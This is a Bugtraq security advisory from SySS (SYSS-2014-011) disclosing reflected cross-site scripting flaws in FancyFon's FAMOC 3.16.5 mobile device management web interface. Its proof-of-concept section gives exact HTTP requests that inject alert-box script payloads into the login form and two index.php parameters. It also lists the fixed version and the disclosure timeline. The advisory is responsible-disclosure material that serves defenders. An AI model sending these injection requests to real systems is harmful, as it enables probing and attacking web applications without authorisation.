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Message-Id: <201501271045.t0RAjwog028135@sf01web2.securityfocus.com>
Date: Tue, 27 Jan 2015 10:45:58 GMT
From: matthias.deeg@...s.de
To: bugtraq@...urityfocus.com
Subject: [SYSS-2014-011] FancyFon FAMOC - Cross-Site Scripting

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Advisory ID: SYSS-2014-011
Product(s): FAMOC
Vendor: FancyFon
Affected Version(s): 3.16.5 
Tested Version(s): 3.16.5
Vulnerability Type: Cross-Site Scripting (CWE-79)
Risk Level: Medium
Solution Status: Fixed
Vendor Notification: 2014-12-19
Solution Date: 2015-01-23
Public Disclosure: 2015-01-23
CVE Reference: Not yet assigned
Author of Advisory: Matthias Deeg (SySS GmbH)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

FAMOC is a mobile device management software by FancyFon supporting
different kinds of mobile devices.

The vendor FancyFon describes the product as follows (see [1]):

"FAMOC is a flexible and open mobile device lifecycle management 
solution, enabling any number of smartphones using a variety of 
operating  systems, to be centrally and remotely managed, over the 
Internet."

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

The SySS GmbH found several reflected cross-site scripting 
vulnerabilities in the web application component of the FAMOC mobile 
device management solution which can be exploited from different 
attacker's perspectives.

1) Reflected Cross-Site Scripting in login form

The parameter "LoginForm[username]" is not sanitized sufficiently
resulting in a reflected cross-site scripting vulnerability.

This reflected cross-site scripting vulnerability can be exploited in 
the context of an unauthenticated user by sending a specially crafted
HTTP POST request (see PoC section).


2) Reflected Cross-Site Scripting in index.php

The two URL parameters "order" and "myorgs" of the PHP script index.php
are not sanitized sufficiently resulting in cross-site scripting
vulnerabilities.

These reflected cross-site scripting vulnerabilities can be exploited
in the context of an authenticated user by sending a specially crafted
HTTP GET request (see PoC section).

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

1) Reflected Cross-Site Scripting in login form

The following HTTP POST request using the JavaScript code
"><script>alert(1)</script><z=" as the value for the parameter 
"LoginForm[username]" demonstrates the reflected cross-site scripting
vulnerability by showing a JavaScript alert box:

POST /ui/system/login HTTP/1.1
Host: <HOST>
Content-Type: application/x-www-form-urlencoded
Content-Length: 112

LoginForm%5Busername%5D=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E%3Cz%3D%22&LoginForm%5Bpassword%5D=password


2) Reflected Cross-Site Scripting in index.php

The following HTTP GET requests using the JavaScript code
'><script>alert(1)</script> as the value for the URL parameter "order" or
"myorgs" demonstrate the two reflected cross-site scripting vulnerabilities
by showing a JavaScript alert box.


2.1) URL parameter "order"

URL: https://<HOST>/index.php?name=&order=%27%3E%3Cscript%3Ealert%281%29%3C/script%3E&page=1&myorgs=0

GET /index.php?name=&order=%27%3E%3Cscript%3Ealert%281%29%3C/script%3E&page=1&myorgs=0 HTTP/1.1
Host: <HOST>
Cookie: PHPSESSID=<SESSION_COOKIE>


2.2) URL parameter "myorgs"

URL: https://<HOST>/index.php?name=&order=&page=1&myorgs=%27%3E%3Cscript%3Ealert%281%29%3C/script%3E

GET /index.php?name=&order=&page=1&myorgs=%27%3E%3Cscript%3Ealert%281%29%3C/script%3E HTTP/1.1
Host: <HOST>
Cookie: PHPSESSID=<SESSION_COOKIE>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

Update to FAMOC software version 3.17.4.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2014-12-19: Vulnerability reported to vendor
2014-12-19: Vendor acknowledges e-mail with SySS security advisory
2015-01-16: Contacted vendor for status information about the reported
            vulnerability
2015-01-23: Vendor responds that this security vulnerability was 
            addressed in the FAMOC software version 3.17.4.
            Public release of security advisory
           
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Product Web Site for FAMOC Mobile Device Management
    http://www.fancyfon.com/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Matthias Deeg of the SySS GmbH.

E-Mail: matthias.deeg (at) syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/Materialien/PGPKeys/Matthias_Deeg.asc
Key fingerprint = 5AE3 96EE A014 FB90 9D81 AF90 8C54 7E88 A34C CED8

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is" 
and without warranty of any kind. Details of this security advisory may 
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS Web 
site.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en

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